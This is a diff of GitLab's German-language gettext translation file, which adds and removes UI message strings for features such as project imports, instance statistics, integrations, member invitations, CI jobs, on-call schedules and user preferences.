+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr "Importiere Projekte von Gitea"
-msgid "Import all compatible projects"
-msgstr "Importiere alle kompatiblen Projekte"
-
-msgid "Import all projects"
-msgstr "Alle Projekte importieren"
-
msgid "Import an exported GitLab project"
msgstr "Importiere ein exportiertes GitLab-Projekt"
@@ -13917,9 +14260,6 @@ msgstr "Importiere Projekte von FogBugz"
msgid "Import projects from GitLab.com"
msgstr "Importiere Projekte von GitLab.com"
-msgid "Import projects from Google Code"
-msgstr "Importiere Projekte von Google Code"
-
msgid "Import repositories from Bitbucket Server"
msgstr "Importiere Repositories von einem Bitbucket-Server"
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr "Verbinde Repositories von"
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr "In Bearbeitung"
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr "Im nächsten Schritt kannst du die Projekte auswählen, die du importieren möchtest."
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr "Inkompatibles Projekt"
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr "Installiere einen GitLab Runner"
msgid "Install Runner on Kubernetes"
msgstr "Installiere einen Runner auf Kubernetes"
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] "Instanzen"
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr "Interessierte können auch etwas beitragen wenn sie möchten, indem sie Commits pushen."
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr "Ticketboards"
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr "Board"
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr "Jobs"
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr "Durchsuchen"
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr "Kubernetes"
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr "Letzte Antwort von"
@@ -15583,6 +15977,9 @@ msgstr "Erfahre mehr über Kubernetes"
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr "Mehr über den Schwachstellen-Check erfahren"
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr "Verlasse die Gruppe"
msgid "Leave project"
msgstr "Verlasse das Projekt"
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr "Belasse die Optionen \"Dateityp\" und \"Ãœbergabemethode\" auf ihren Standardwerten."
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr "Lizenz-Überprüfung"
-
-msgid "LicenseCompliance|Packages"
-msgstr "Pakete"
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] "Anzeige beschränkt auf maximal %d Ereignis"
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr "Ein Link-Titel ist erforderlich."
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr "Stelle sicher, dass du mit dem Konto angemeldet bist, welches Besitzer der zu importierenden Projekte ist."
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,18 +16552,12 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
+msgstr ""
+
msgid "Map a FogBugz account ID to a GitLab user"
msgstr "Ordne eine FogBugz-Konto-ID einem/einer GitLab-Benutzer(in) zu"
-msgid "Map a Google Code user to a GitLab user"
-msgstr "Ordne eine(n) Google Code-Benutzer(in) einem/einer GitLab-Benutzer(in) zu"
-
-msgid "Map a Google Code user to a full email address"
-msgstr "Ordne eine(n) Google Code-Benutzer(in) einer vollständigen E-Mail-Adresse zu"
-
-msgid "Map a Google Code user to a full name"
-msgstr "Ordne eine(n) Google Code-Benutzer(in) einem vollständigen Namen zu"
-
msgid "Mar"
msgstr "März"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr "Maximale Zugriffsstufe"
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr "Merge-Requests dienen dazu, deine Änderungsvorschläge für ein Projekt
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr "Meilensteinlisten zeigen alle Tickets des ausgewählten Meilensteins an.
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "Meilenstein %{milestoneTitle} wurde nicht gefunden"
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr "Abmelden und mit einem anderen Konto anmelden"
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr "Niemals"
msgid "New"
msgstr "Neu"
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr "Neue Anforderung"
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr "Neuer Registrierungstoken für Runner wurde generiert!"
@@ -18157,9 +18572,6 @@ msgstr "Es konnte keine Verbindung zu einem Gitaly-Server hergestellt werden. Bi
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr "Nein, importiere die vorhandenen E-Mail-Adressen und Benutzernamen direkt."
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr "Nicht verfügbar"
@@ -18400,6 +18812,9 @@ msgstr "Nicht genügend Daten"
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr "Nur Verlauf anzeigen"
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr "Fehlgeschlagene Pipeline"
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr "Merge-Request mergen"
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr "Neues Epic"
@@ -18505,6 +18932,9 @@ msgstr "Neue Notiz"
msgid "NotificationEvent|New release"
msgstr "Neues Release"
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr "Ticket neu zuweisen"
@@ -18514,6 +18944,9 @@ msgstr "Merge-Request neu zuweisen"
msgid "NotificationEvent|Reopen issue"
msgstr "Ticket wieder öffnen"
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr "Erfolgreiche Pipeline"
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr "Ein oder mehrere Ihrer Google Code-Projekte kann/können nicht direkt in GitLab importiert werden, da sie Subversion oder Mercurial für die Versionskontrolle anstelle von Git verwenden."
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr "Seitenleiste öffnen"
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr "Optional kannst du %{link_to_customize}, wie FogBugz E-Mail-Adressen und Benutzernamen in GitLab importiert werden."
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr "Optional kannst du %{link_to_customize}, wie Google Code E-Mail-Adressen und Benutzernamen in GitLab importiert werden."
-
msgid "Options"
msgstr "Optionen"
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr "Seite nicht gefunden"
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr "Zeitpläne der Pipeline"
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr "CI Lint"
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr "Pipelines laden"
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr "Der Projekt-Cache wurde erfolgreich zurückgesetzt."
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr "Pipeline ausführen"
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr "Beim Löschen des Runner-Caches ist etwas schief gelaufen."
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr "Bitte wähle eine Gruppen-URL ohne Sonderzeichen."
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr "Bitte wandle sie in Git auf Google Code um und durchlaufe erneut die %{link_to_import_flow}."
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr "Profil"
msgid "Profile Settings"
msgstr "Profileinstellungen"
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr "Du bist dabei, %{yourAccount} permanent zu löschen, inklusive aller Tic
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
